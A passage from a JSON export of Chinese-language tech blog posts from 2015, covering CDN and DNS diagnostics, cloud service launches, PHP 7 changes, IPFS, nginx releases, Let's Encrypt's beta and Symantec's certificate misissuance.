年的突起據作者猜測是 <a href=\"https://www.facebook.com/\">Facebook</a> 轉 HTTPS 化：「<a href=\"https://www.facebook.com/notes/facebook-engineering/secure-browsing-by-default/10151590414803920\">Secure browsing by default</a>」，不過時間軸好像對不起來，也許要再找看看有什麼大型網站在那個時間點做了什麼事情...",
    "title": "HTTP/2 的流量已經超過 HTTP/1.1 (HTTPS 流量)"
  },
  {
    "id": "6076",
    "body": "剛剛發現奇怪的現象，晚點來問問看好了... 手上的 <code>test-priceclass100.gslin.org</code> 設定為 Only Use US and Europe：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FD9TiGD.webp\" /><img src=\"https://i.gslin.com/imgur/FD9TiGD.jpg\" alt=\"\" /></picture>\r\n\r\n但在 <a href=\"https://oss.oetiker.ch/smokeping/\">SmokePing</a> 上卻看到極低的 latency 而覺得納悶：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/N2Ltoe9.webp\" /><img src=\"https://i.gslin.com/imgur/N2Ltoe9.jpg\" alt=\"\" /></picture>\r\n\r\n動手查了一些資料發現是被導到台灣的點... 可以看到先問 168.95.192.1 (<a href=\"http://www.hinet.net/\">HiNet</a> 光世代預設的 DNS) 後得到了這些 IP：\r\n\r\n<pre>gslin@GSLIN-HOME1404 [~] [02:43/W4] dig test-priceclass100.gslin.org @168.95.192.1\r\n\r\n; <<>> DiG 9.9.5-3ubuntu0.5-Ubuntu <<>> test-priceclass100.gslin.org @168.95.192.1\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48453\r\n;; flags: qr rd ra; QUERY: 1, ANSWER: 9, AUTHORITY: 0, ADDITIONAL: 1\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 3072\r\n;; QUESTION SECTION:\r\n;test-priceclass100.gslin.org.  IN      A\r\n\r\n;; ANSWER SECTION:\r\ntest-priceclass100.gslin.org. 300 IN    CNAME   d265g70k07is7o.cloudfront.net.\r\nd265g70k07is7o.cloudfront.net. 60 IN    A       54.192.215.203\r\nd265g70k07is7o.cloudfront.net. 60 IN    A       54.192.215.98\r\nd265g70k07is7o.cloudfront.net. 60 IN    A       54.239.176.96\r\nd265g70k07is7o.cloudfront.net. 60 IN    A       54.192.214.40\r\nd265g70k07is7o.cloudfront.net. 60 IN    A       54.239.176.216\r\nd265g70k07is7o.cloudfront.net. 60 IN    A       54.192.212.118\r\nd265g70k07is7o.cloudfront.net. 60 IN    A       54.239.176.223\r\nd265g70k07is7o.cloudfront.net. 60 IN    A       54.239.176.56\r\n\r\n;; Query time: 178 msec\r\n;; SERVER: 168.95.192.1#53(168.95.192.1)\r\n;; WHEN: Thu Oct 22 02:43:24 CST 2015\r\n;; MSG SIZE  rcvd: 228</pre>\r\n\r\n接下來跑 <a href=\"http://www.bitwizard.nl/mtr/\">mtr</a> 看，發現是台灣的節點：\r\n\r\n<pre><small>gslin@GSLIN-HOME1404 [~] [02:43/W4] mtr --report -n 54.239.176.56\r\nStart: Thu Oct 22 02:43:37 2015\r\nHOST: GSLIN-HOME1404              Loss%   Snt   Last   Avg  Best  Wrst StDev\r\n  1.|-- 168.95.98.254              0.0%    10    8.6   9.1   8.4   9.9   0.3\r\n  2.|-- 168.95.25.50               0.0%    10    8.1   9.0   8.0   9.9   0.3\r\n  3.|-- 220.128.11.226             0.0%    10    9.3  11.8   8.1  31.7   7.1\r\n  4.|-- 220.128.5.94               0.0%    10   12.9  13.9   9.6  17.9   2.9\r\n  5.|-- 220.128.4.177              0.0%    10    8.7  13.1   8.7  35.3   8.0\r\n  6.|-- 203.75.228.29              0.0%    10    9.9  10.1   9.3  10.9   0.3\r\n  7.|-- 223.26.65.19               0.0%    10    9.4  10.3   9.4  11.4   0.3\r\n  8.|-- 202.133.255.122            0.0%    10   11.0  10.8   9.5  13.5   1.0\r\n  9.|-- 54.239.176.56              0.0%    10   10.7   9.4   8.4  10.7   0.7</small></pre>\r\n\r\n這是哪招呢...",
    "title": "CloudFront Price Class 100 奇怪的現象"
  },
  {
    "id": "6077",
    "body": "在「<a href=\"https://mo.github.io/2015/10/19/chrome-devtools.html\">Chrome Devtools Tips &amp; Tricks</a>」這邊看到介紹 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 的 DevTools 用法說明，但讓我注意到文章最下面提到的兩個工具，其中提到了 <a href=\"https://chrome.google.com/webstore/detail/javascript-errors-notifie/jafmfknfnkoekkdocjiaipcnmkklaajd\">JavaScript Errors Notifier</a> 這個工具：\r\n\r\n<blockquote><a href=\"https://chrome.google.com/webstore/detail/javascript-errors-notifie/fhbooopdkjpkogooopbmabepipljagfn\">JS Error Notifier (non-“spyware” version)</a> creates a popup each time a Javascript error is printed to the console. Unfortunately, the main version of this extension submits private “usage data” to a third-party service (see discussion in <a href=\"https://github.com/barbushin/javascript-errors-notifier/issues/28\">issue #28</a>). But at any rate, this extension has helped me notice and fix several bugs.</blockquote>\r\n\r\n找資料時可以發現 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面也有些討論：「<a href=\"https://news.ycombinator.com/item?id=10309432\">Malware alert: JavaScript Errors Notification extension for Chrome (86k users)</a>」。\r\n\r\n馬上換掉...",
    "title": "改用沒有 FairShare 版本的 JavaScript Errors Notifier"
  },
  {
    "id": "6078",
    "body": "在「<a href=\"https://josephscott.org/archives/2015/10/wikimedia-performance-metrics/\">Wikimedia Performance Metrics</a>」這邊看到<a href=\"https://www.wikimedia.org/\">維基媒體</a> (Wikimedia) 的效能資訊網頁：「<a href=\"https://performance.wikimedia.org/\">Metrics — Wikimedia Performance</a>」，這邊是以前端效能為主。在「<a href=\"https://grafana.wikimedia.org/\">Grafana</a>」這邊則包括了更多的資訊。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AA1SN4n.webp\" /><img src=\"https://i.gslin.com/imgur/AA1SN4n.jpg\" alt=\"\" /></picture>\r\n\r\n在「<a href=\"https://wikitech.wikimedia.org/wiki/Performance\">Performance</a>」這邊有關於效能頁面的說明，看起來還在開發...",
    "title": "維基媒體的效能資訊"
  },
  {
    "id": "6079",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 推出的新功能，可以註冊 IP 並且動態掛到某個 droplet 上：「<a href=\"https://www.digitalocean.com/company/blog/floating-ips-start-architecting-your-applications-for-high-availability/\">Floating IPs: Start Architecting Your Applications for High Availability</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/UVxecZA.gif\" alt=\"\" />\r\n\r\n如果沒有掛到 droplet 上會收取 USD$0.006/hour 的費用，以一個月 720 小時來計算，大約是 USD$4.32/month。另外也限制在同一個 data center 內才能換來換去。\r\n\r\n類似的功能在 <a href=\"https://www.linode.com/\">Linode</a> 很久前就有了 (2007 年底)，雖然不是完全一樣：「<a href=\"https://blog.linode.com/2007/11/12/support-for-high-availability-ip-failover/\">Support for High Availability / IP Failover</a>」，但 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 Elastic IP 功能幾乎就相同了，在 2008 年初開放：「<a href=\"https://aws.amazon.com/blogs/aws/new-ec2-feature/\">New EC2 Features: Static IP Addresses, Availability Zones, and User Selectable Kernels</a>」，所以只能算是補產品線，把大家都有的功能實作出來...\r\n\r\n以往只能用 DNS 做 High Availability 的，現在可以用這種方法做，使得 downtime 可以更低。另外這樣做也可以架設 proxy server，使得對外的 IP 不變，讓 firewall 設定變得單純。",
    "title": "DigitalOcean 提供 Floating IP 功能"
  },
  {
    "id": "6080",
    "body": "在「<a href=\"http://www.omgubuntu.co.uk/2015/10/ubuntu-16-04-name-revealed\">The Ubuntu 16.04 LTS Codename Has Been Announced</a>」這邊看到 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 16.04 LTS 的 codename 確認了，依照慣例以字母順序輪流使用，所以會是 x 開頭...\r\n\r\n<a href=\"http://www.markshuttleworth.com/\">Mark Shuttleworth</a> 在 blog 上說明了 Ubuntu 16.04 LTS 想要推動的東西：「<a href=\"http://www.markshuttleworth.com/archives/1479\">X marks the spot</a>」。\r\n\r\n還有半年... 話說回來，我前幾個月才換 14.04，這樣 16.04 要什麼時候跳過去 :o",
    "title": "Ubuntu 16.04 LTS 的 Codename 被命名為 Xenial Xerus"
  },
  {
    "id": "6081",
    "body": "<a href=\"http://www.hp.com/\">HP</a> 宣佈關閉 <a href=\"http://www.hpcloud.com/\">Helion Public Cloud</a>：「<a href=\"http://fortune.com/2015/10/21/hp-public-cloud/\">Hewlett-Packard throws in the towel on public cloud</a>」，官方新聞稿在「<a href=\"http://h30499.www3.hp.com/t5/Grounded-in-the-Cloud/A-new-model-to-deliver-public-cloud/ba-p/6804409\">A new model to deliver public cloud</a>」：\r\n\r\n<blockquote>Therefore, we will sunset our HP Helion Public Cloud offering on January 31, 2016.</blockquote>\r\n\r\n做不起來啊...",
    "title": "HP 宣佈關閉 Helion Public Cloud"
  },
  {
    "id": "6082",
    "body": "之前有提過這件事情，由於 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 已經支援 <a href=\"https://github.com/google/brotli\">Brotli</a> 了 (<a href=\"https://blog.gslin.org/archives/2015/09/23/6002/google-%E6%8E%A8%E5%87%BA-brotli-%E7%84%A1%E6%90%8D%E5%A3%93%E7%B8%AE%E6%B3%95/\">Google 推出 Brotli 無損壓縮法</a>)，所以 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 的人整理了目前的效能比較：「<a href=\"https://blog.cloudflare.com/results-experimenting-brotli/\">Results of experimenting with Brotli for dynamic web content</a>」。\r\n\r\n主要還是 Brotli 拿了不少資源來換壓縮率，對於 static content 由於可以事先算好而大勝不少 (大約可以再榨出 15% 的壓縮率，從 zlib 9 的 27.7% 降到 brotli 10 的 23.3%)：\r\n\r\n<blockquote>The current state of Brotli gives us some mixed impressions. There is no yes/no answer to the question \"Is Brotli better than gzip?\". It definitely looks like a big win for static content compression, but on the web where the content is dynamic we also need to consider on-the-fly compression.</blockquote>\r\n\r\n另外對於大檔案、網路速度不快的連線來說也頗有幫助，但對於 on-the-fly 的壓縮反而會比較慢。",
    "title": "CloudFlare 對 Brotli 的測試"
  },
  {
    "id": "6083",
    "body": "在「<a href=\"https://josephscott.org/archives/2015/10/migrating-to-php-7/\">Migrating To PHP 7</a>」這邊看到十一月 <a href=\"https://secure.php.net/\">PHP</a> 就要發行 7.0.0 了...\r\n\r\n最主要的還是不相容性的問題，從「<a href=\"https://secure.php.net/manual/en/migration70.incompatible.php\">Backward incompatible changes</a>」這邊可以看到官方列出來的說明。\r\n\r\n在「Changes to the handling of indirect variables, properties, and methods」這邊看起來好刺激啊，整個解讀的方法完全不一樣了... 不過我記得這是最近的 PHP 才有的功能？而且這樣寫真的很不容易讀懂...\r\n\r\n然後「list() no longer assigns variables in reverse order」這種寫法的 code 就臭臭的，是在示範各種 side effect 嗎 XDDD\r\n\r\n而「Hexadecimal strings are no longer considered numeric」則是往好的方向改？原來 <code>is_numeric('0x1234')</code> 在 PHP 5.6 是 <code>true</code> 啊...\r\n\r\n大概又要檢查再確認才能升級了 :o",
    "title": "PHP 7 與 PHP 5.6 的不相容改變"
  },
  {
    "id": "6084",
    "body": "<a href=\"https://ipfs.io/\">IPFS</a> (<a href=\"https://en.wikipedia.org/wiki/InterPlanetary_File_System\">InterPlanetary File System</a>)，或是被稱作 The Permanent Web。\r\n\r\n起因在於目前 HTTP (Web) 在設計時是 1990 年代的想法，許多威脅在當時並不明顯。而到了現在，來自攻擊者的威脅與政府監控的威脅使得必須在 HTTP (Web) 上架構許多 workaround。\r\n\r\n最知名的 workaround 就是 HTTPS 以及對應的 CA 架構了，前者因為 HTTPS 協定本身高度複雜，實作的單位經常出錯而產生安全漏洞。而後者靠著大量的稽核檢查來避免出問題，不過畢竟還是 workaround，常常會有一堆「誤發」的狀況發生。\r\n\r\n另外 HTTP 發展到現在其實是去中心化「Decenteralized」的架構，政府單位可以抓著其中幾個結點就可以大量監控，而 IPFS 想要做到真正的分散式「Distributed」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/z9ja1rA.webp\" /><img src=\"https://i.gslin.com/imgur/z9ja1rA.jpg\" alt=\"\" /></picture>\r\n\r\n前陣子 IPFS 在 <a href=\"https://github.com/\">GitHub</a> 上放出了 prototype 讓大家玩：「<a href=\"https://github.com/ipfs/go-ipfs\">ipfs implementation in go.</a>」，而最近有人把這個點子實作成 image hosting：「<a href=\"https://github.com/ipfspics/server\">ipfs.pics</a>」(一樣是放在 GitHub 上)，並且提供對應的網頁上傳介面：「<a href=\"http://ipfs.pics/\">Decentralized picture hosting in ipfs</a>」。\r\n\r\n我試著丟一張圖片上 ipfs.pics 後，得到的 hash 值是 QmRpNqK33gDDKdu8y6Wx5DQsuiJbsnwojNzH5nUwCpwoS9，也可以在 IPFS 看到這張圖：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmRpNqK33gDDKdu8y6Wx5DQsuiJbsnwojNzH5nUwCpwoS9\" alt=\"\" />\r\n\r\n來玩看看好了 :o",
    "title": "IPFS 分散式 Web 服務，以及 ipfspics 圖片儲存"
  },
  {
    "id": "6085",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://freezeapp.net/\">Freeze - the ultimate Amazon Glacier file transfer client for Mac</a>」這個軟體，需要 Mac OS X 10.10 以上的版本才能用...\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmXAVS7CG8rohamCw1x8PuF7RXdSMt35VvFnhEpeAC8Y5J\" alt=\"\" />\r\n\r\n拿來丟東西應該還不錯 (方便的 client)，建一個對應權限 <a href=\"https://aws.amazon.com/iam/\">IAM</a> 帳號，然後把 key 丟給他用吧...",
    "title": "在 Mac 上把資料備份到 Amazon Glacier 的軟體"
  },
  {
    "id": "6086",
    "body": "感覺就是個做研究的人會很愛的東西：「<a href=\"http://www.metachris.com/pdfx/\">PDFx - Extract metadata and URLs from PDFs, and download all referenced PDFs</a>」。\r\n\r\n程式會試著抓出 PDF 裡的 reference，並且試著找出網路上的 PDF 連結並下載。對於該開始進入做研究時，背景知識可能不足以閱讀這篇論文，會需要從研究被引用的論文開始看，這個程式就派上用場了...\r\n\r\n以前是手動抓，雖然不需要花太多時間，但這樣還是方便多了 :p",
    "title": "一次下載論文所有的 Reference PDF"
  },
  {
    "id": "6087",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的新功能，可以在 Web Console 或是透過 API 直接在 EC2 instance 上面執行命令：「<a href=\"https://aws.amazon.com/blogs/aws/new-ec2-run-command-remote-instance-management-at-scale/\">New EC2 Run Command – Remote Instance Management at Scale</a>」。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmdTpKh17p2QvdLyyzTcrZpxAZSei5xM6e5nJtccRh58Eq\" alt=\"\" />\r\n\r\n另外這需要在 EC2 instance 先安裝軟體，目前只支援這三個地區：\r\n\r\n<blockquote>You can use Run Command today in the US East (Northern Virginia), US West (Oregon), and Europe (Ireland) regions.</blockquote>\r\n\r\n比較意外的是不額外收費：\r\n\r\n<blockquote>There is no charge for this this feature; you pay only for the AWS resources that you consume.</blockquote>",
    "title": "透過 API 在 EC2 instance 上下命令"
  },
  {
    "id": "6088",
    "body": "<strong>Update</strong>：這應該是在講 Zeus C&amp;C 系統，不是 Zeus Web Server... ~_~\r\n\r\n在「<a href=\"http://www.kerneronsec.com/2015/10/timing-attack-vulnerability-in-most.html\">Timing attack vulnerability in most Zeus server-sides</a>」這邊看到難得的 HTTP-based timing attack，藉由程式的漏洞而產生出能夠偵測出來的 timing attack：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmaiSP5nwhbjicDgHbAbTLniLgjnkSkAmrqFxwvrCX8bEz\" alt=\"\" />\r\n\r\n雖然 Zeus Web Server 已經收攤了，不過這還是示範了很好玩的攻擊手法...",
    "title": "對 Zeus Web Server 的 Timing Attack"
  },
  {
    "id": "6091",
    "body": "在 <a href=\"http://nginx.org/\">nginx</a> 的官網上可以直接看到連結，點進 <a href=\"http://nginx.org/en/CHANGES\">CHANGES</a> 後可以看到兩項關於 HTTP/2 的修正：\r\n\r\n<pre><small>    *) Bugfix: a segmentation fault might occur in a worker process when\r\n       using HTTP/2.\r\n       Thanks to Piotr Sikora and Denis Andzakovic.\r\n\r\n    *) Bugfix: the $server_protocol variable was empty when using HTTP/2.\r\n\r\n    *) Bugfix: backend SSL connections in the stream module might be timed\r\n       out unexpectedly.\r\n\r\n    *) Bugfix: a segmentation fault might occur in a worker process if\r\n       different ssl_session_cache settings were used in different virtual\r\n       servers.\r\n\r\n    *) Bugfix: nginx/Windows could not be built with MinGW gcc; the bug had\r\n       appeared in 1.9.4.\r\n       Thanks to Kouhei Sutou.\r\n\r\n    *) Bugfix: time was not updated when the timer_resolution directive was\r\n       used on Windows.\r\n\r\n    *) Miscellaneous minor fixes and improvements.\r\n       Thanks to Markus Linnala, Kurtis Nusbaum and Piotr Sikora.</small></pre>\r\n\r\n關於 HTTP/2 的錯誤修正意外的少 (畢竟 1.9.5 是第一個正式版)，看起來 codebase 已經穩下來了？話說 <a href=\"https://launchpad.net/~nginx/+archive/ubuntu/development\">NGINX Mainline</a> 這邊是不打算更新了嗎...",
    "title": "nginx 1.9.6 釋出"
  },
  {
    "id": "6092",
    "body": "看到 <a href=\"https://www.torproject.org/\">Tor Project</a> 很高興的宣佈 <code>.onion</code> 這個 TLD 在 <a href=\"https://www.rfc-editor.org/rfc/rfc7686.txt\">RFC 7686</a> 成為 Standards Track：「<a href=\"https://blog.torproject.org/blog/landmark-hidden-services-onion-names-reserved-ietf\">Landmark for Hidden Services: .onion names reserved by the IETF</a>」。\r\n\r\n而且也因為成為 <a href=\"https://www.ietf.org/\">IETF</a> 的標準，在 <a href=\"https://cabforum.org/\">CA/Browser Forum</a> 上更有依據討論在上面的 CA 架構：\r\n\r\n<blockquote>With this registration, it is should also be possible to buy Extended Validation (EV) SSL/TLS certificates for .onion services thanks to a recent decision by the Certification Authority Browser Forum.</blockquote>",
    "title": "RFC7686：保留 .onion 給 Tor 的 Hidden Services 使用"
  },
  {
    "id": "6093",
    "body": "<a href=\"https://slack.com/\">Slack</a> 宣佈支援多人討論群組了：「<a href=\"http://slackhq.com/post/131956541795/groupmessages\">Group Messages Come to Slack</a>」。之前要找一群人討論事情必須要開一個 Private Channel，但每次開 channel 都要想一個名字出來很討厭，後來都用 <code>#test_201510290916</code> 這種沒有意義的名字，而現在可以直接拉人進來了：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmYx4NncmchvfD3rbpQda7v5GEnh5MAUjLScz8NAfd6Yk9\" alt=\"\" />\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmZx3AJBspuwa3S1KJQ9qzB4giXnw244pgfHDN36etRoHv\" alt=\"\" />\r\n\r\n另外一個是跟著的改變：「Private Groups become Private Channels」。\r\n\r\n<blockquote>With the introduction of group DMs, which will cover many of the use cases that previously required private groups, we’ve transformed private groups into the brand new “private channels”.  Private channels will be shown mixed in with your existing open channels alphabetically, with small lock icons next to the private ones. When the time comes to create a new channel, you’ll find a new public/private toggle on the configuration screen.</blockquote>\r\n\r\n原先的 Private Channel 就跟 Public Channel 混在一起了...",
    "title": "Slack 支援多人討論群組"
  },
  {
    "id": "6094",
    "body": "在「<a href=\"http://venturebeat.com/2015/10/27/oracle-finally-launches-elastic-compute-cloud-9-years-after-amazon-debuted-ec2/\">Oracle finally launches Elastic Compute Cloud, 9 years after Amazon debuted EC2</a>」這邊看到 <a href=\"http://www.oracle.com/\">Oracle</a> 也要推動自己的 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 了。Oracle 官方的新聞稿在「<a href=\"https://www.oracle.com/corporate/pressrelease/iaas-102715.html\">Oracle Updates Oracle Cloud Infrastructure Services</a>」這邊可以看到。\r\n\r\n官方網站在「<a href=\"https://cloud.oracle.com/en_US/leverage_infrastructure\">Oracle Cloud Infrastructure as a Service (IaaS)</a>」這邊，價錢理論上可以在「<a href=\"https://cloud.oracle.com/en_US/compute?tabID=1406491857419\">Compute Cloud Pricing</a>」這邊可以看到，不過沒看到 Price 欄位啊...\r\n\r\n不知道什麼人會去用... 綁專案？",
    "title": "Oracle 也要推動自己的 EC2 了..."
  },
  {
    "id": "6095",
    "body": "歐盟廢止了在歐盟境內漫遊的費用：「<a href=\"http://www.theguardian.com/technology/2015/oct/27/europe-abolishes-mobile-phone-roaming-charges\">Europe finally abolishes mobile phone roaming charges</a>」：\r\n\r\n<blockquote>Members of the European parliament have voted through new rules that will scrap mobile roaming charges and stop holidaymakers returning home to the nightmare of a massive phone bill racked up on their travels.</blockquote>\r\n\r\n不過接下來還有要戰：\r\n\r\n<blockquote>The abolishment of roaming charges was not met with universal approval. In the days before the vote Roger Helmer MEP tabled an amendment to reject the agreement on behalf of Ukip.</blockquote>\r\n\r\n搭板凳看吧...",
    "title": "歐盟廢止境內漫遊的費用"
  },
  {
    "id": "6096",
    "body": "<a href=\"https://aws.amazon.com/vpc/\">Amazon VPC</a> 的 VPN 推出新功能了：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-vpc-vpn-update-nat-traversal-additional-encryption-options-and-more/\">EC2 VPC VPN Update – NAT Traversal, Additional Encryption Options, and More</a>」。\r\n\r\n其中「Reusable CGW IP Addresses」這個功能讓大家等超久的：(CGW 是 Customer Gateway，通常是放在自己的機房裡跟 Amazon VPC 設 site-to-site VPN 對接)\r\n\r\n<blockquote>You no longer need to specify a unique IP address for each customer gateway connection that you create. Instead, you can now reuse an existing IP address. Many VPC users have been asking for this feature and I expect it to be well-used.</blockquote>\r\n\r\n之前得弄一堆 IP address 來接來接去，現在總算是改善了...",
    "title": "VPC VPN 的新功能"
  },
  {
    "id": "6098",
    "body": "記得之前有提到最多人裝的那幾個 extension 都有嵌入各種 malware 或 spyware，所以試著找有哪個是正常的... 後來想到用 <a href=\"https://www.google.com/\">Google</a> 找 <a href=\"https://github.com/\">GitHub</a> 上的 open source 專案，找到這個：「<a href=\"https://github.com/mrcoles/full-page-screen-capture-chrome-extension\">One-click full page screen captures in Google Chrome</a>」，官方說明頁面在「<a href=\"http://mrcoles.com/full-page-screen-capture-chrome-extension/\">Full Page Screen Capture Chrome Extension</a>」：\r\n\r\n<blockquote>It’s open source (on github) and malware free.</blockquote>\r\n\r\n看起來這個應該是可以用的... 看起來很久沒更新了，不過實際測試還是會動的 :p",
    "title": "Google Chrome 上面的畫面截圖套件"
  },
  {
    "id": "6099",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 在拿到 <a href=\"https://www.identrust.com/\">IdenTrust</a> 提供的 cross sign (參考「<a href=\"https://blog.gslin.org/archives/2015/10/20/6073/lets-encrypt-%E6%AD%A3%E5%BC%8F%E5%87%BA%E7%99%BC/\">Let's Encrypt 正式出發</a>」) 後所啟動的計畫：「<a href=\"https://community.letsencrypt.org/t/beta-program-announcements/1631\">Beta Program Announcements</a>」。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmVgrA1QKUXnm4AAmFNV4j4gWsANzhcPwZNgVPkFNvCyYz\" alt=\"\" />\r\n\r\n要先透過 <a href=\"https://www.google.com/forms/\">Google Forms</a> 填單等待，等通過後要指定 production server 才會發出來。\r\n\r\n要注意的是，Let's Encrypt 發出來的 SSL certificate 會比較短，只有 90 天有效，設計上是依靠自動機制在更新，所以理論上不會有問題：\r\n\r\n<blockquote>Certificates from Let's Encrypt are valid for 90 days. We recommend renewing them every 60 days to provide a nice margin of error. As a beta participant, you should be prepared to manually renew your certificates at that time. As we get closer to General Availability, we hope to have automatic renewal tested and working on more platforms, but for now, please play it safe and keep track.</blockquote>\r\n\r\n再來是有註冊限制，分成 Registrations/IP address 與 Certificates/Domain 兩個限制：\r\n\r\n<blockquote>There are two rate limits in play: Registrations/IP address, and Certificates/Domain.</blockquote>\r\n\r\n前者的限制是每天 10 次：\r\n\r\n<blockquote>Registrations/IP address limits the number of registrations you can make in a given day; currently 10. This means you should avoid deleting the /etc/letsencrypt/accounts folder, or you may not be able to re-register.</blockquote>\r\n\r\n後者的限制是每個 domain 只給 4 個 certificate：\r\n\r\n<blockquote>Certificates/Domain you could run into through repeated re-issuance. This limit measures certificates issued for a given combination of Top Level Domain + Domain. This means if you issue certificates for the following domains, at the end you would have what we consider 4 certificates for the domain example.com.</blockquote>\r\n\r\n拿來測試應該是夠用。",
    "title": "Let's Encrypt 的 Limited Beta"
  },
  {
    "id": "6100",
    "body": "<strong>tl;dr：目前的外部稽核還沒有完成，有可能會有更慘烈的情況。如果你最近要買 SSL certificate，不要碰 <a href=\"https://www.symantec.com/\">Symantec</a> 旗下的產品，包括了 <a href=\"https://www.verisign.com/\">Verisign</a>、<a href=\"https://www.thawte.com/\">Thawte</a>、<a href=\"https://www.geotrust.com/\">GeoTrust</a>、Equifax (GeoTrust 下)、<a href=\"https://www.rapidssl.com/\">RapidSSL</a>。</strong>\r\n\r\n在「<a href=\"https://blog.gslin.org/archives/2015/09/23/6003/symantec-%E7%9A%84-thawte-%E7%99%BC%E5%87%BA-google-%E7%9A%84-ssl-certificate-%E7%9A%84%E5%BE%8C%E7%BA%8C/\">Symantec 的 Thawte 發出 Google 的 SSL certificate 的後續</a>」這邊有提到先前 <a href=\"https://www.google.com/\">Google</a> 抓到 Symantec 發出 Google 憑證的問題，後續稽核時發現更多問題...\r\n\r\nGoogle 在「<a href=\"https://googleonlinesecurity.blogspot.com/2015/10/sustaining-digital-certificate-security.html\">Sustaining Digital Certificate Security</a>」這篇提到了幾件事情。首先是基於 Symantec 第一版的稽核報告，發現有 23 個 SSL certificate 在 domain owner 沒有被通知的情況下被簽名，這包括了 Google 與 <a href=\"http://www.opera.com/\">Opera</a> 的五個單位：\r\n\r\n<blockquote>Following our notification, Symantec published a report in response to our inquiries and disclosed that 23 test certificates had been issued without the domain owner’s knowledge covering five organizations, including Google and Opera.</blockquote>\r\n\r\n但 Google 光是透過 Certificate Transparency 認為問題不僅於此 (於是認為 Symantec 的稽核不確實)，通報了其他主要的 Root Certificate 管理單位：\r\n\r\n<blockquote>However, we were still able to find several more questionable certificates using only the Certificate Transparency logs and a few minutes of work. We shared these results with other root store operators on October 6th, to allow them to independently assess and verify our research.</blockquote>\r\n\r\n而 Symantec 再次稽核，這次就大爆炸，光是他們查出來的就有 164 個 SSL certificate 橫跨 76 個網域被簽出，並且有 2458 的不存在的 domain 被簽出：\r\n\r\n<blockquote>Symantec performed another audit and, on October 12th, announced that they had found an additional 164 certificates over 76 domains and 2,458 certificates issued for domains that were never registered.</blockquote>\r\n\r\nSymantec 這次提供的報告包括了比較完整的資料，爆發的品牌包括了 Symantec 所有的產品：Verisign、Thawte、GeoTrust、Equifax (GeoTrust 下) 以及 RapidSSL。\r\n\r\n要不是 Symantec 的市占率高到爆炸，Google 大概就像 CNNIC 那樣直接拔掉了。(參考「<a href=\"https://blog.gslin.org/archives/2015/04/02/5701/cnnic-%E7%9A%84%E6%A0%B9%E6%86%91%E8%AD%89-%E5%8C%85%E6%8B%AC-ev-%E5%BE%9E-google-%E5%85%A8%E7%B3%BB%E5%88%97%E7%94%A2%E5%93%81%E7%A7%BB%E9%99%A4/\">CNNIC 的根憑證 (包括 EV) 從 Google 全系列產品移除</a>」，市占率的部份可以參考「<a href=\"http://w3techs.com/technologies/overview/ssl_certificate/all\">Usage of SSL certificate authorities for websites</a>」這邊的資料，目前看到是 29.9% 第二高，僅次於 <a href=\"https://www.comodo.com/\">Comodo</a> 的 39.1%)\r\n\r\n由於沒辦法砍，所以 Google 直接下了幾個通牒，第一個是從 2016 六月開始所有簽出的 SSL certificate 都必須發紀錄到 Certificate Transparency (目前規範中只有 EV SSL certificate 有要求)，否則之後的簽出的 SSL certificate 不保證會動：\r\n\r\n<blockquote>It’s obviously concerning that a CA would have such a long-running issue and that they would be unable to assess its scope after being alerted to it and conducting an audit. Therefore we are firstly going to require that as of June 1st, 2016, all certificates issued by Symantec itself will be required to support Certificate Transparency. In this case, logging of non-EV certificates would have provided significantly greater insight into the problem and may have allowed the problem to be detected sooner.</blockquote>\r\n\r\n<blockquote>After this date, certificates newly issued by Symantec that do not conform to the Chromium Certificate Transparency policy may result in interstitials or other problems when used in Google products.</blockquote>\r\n\r\n再來是對報告要求補上為什麼稽核機制沒有偵測到，以及「每一次」為什麼沒有按照 Baseline Requirements (一般 SSL certificate 的規範) 以及 EV Guidelines (EV SSL Certificate 的規範) 的詳細資訊：\r\n\r\n<blockquote>More immediately, we are requesting of Symantec that they further update their public incident report with:\r\n<ul>\r\n\t<li>A post-mortem analysis that details why they did not detect the additional certificates that we found.\r\n</li>\r\n\t<li>Details of each of the failures to uphold the relevant Baseline Requirements and EV Guidelines and what they believe the individual root cause was for each failure.</li>\r\n</ul></blockquote>\r\n\r\n同時要求第三方稽核確認這次事件，而僅非 Symantec 自己稽核：\r\n\r\n<blockquote>Following the implementation of these corrective steps, we expect Symantec to undergo a Point-in-time Readiness Assessment and a third-party security audit.</blockquote>\r\n\r\n而且也清楚要求第三方稽核確認包括：簽的 public key 沒有任何時間點可以被 Symantec 員工取得 private key、Symantec 員工無法使用該項測試工具簽自己擁有 private key 的 SSL certificate、再次確認 Symantec 的稽核紀錄是無法被更改與刪除的。\r\n\r\n<blockquote>The third-party security audit must assess:\r\n<ul>\r\n\t<li>The veracity of Symantec’s claims that at no time private keys were exposed to Symantec employees by the tool.\r\n</li>\r\n\t<li>That Symantec employees could not use the tool in question to obtain certificates for which the employee controlled the private key.\r\n</li>\r\n\t<li>That Symantec’s audit logging mechanism is reasonably protected from modification, deletion, or 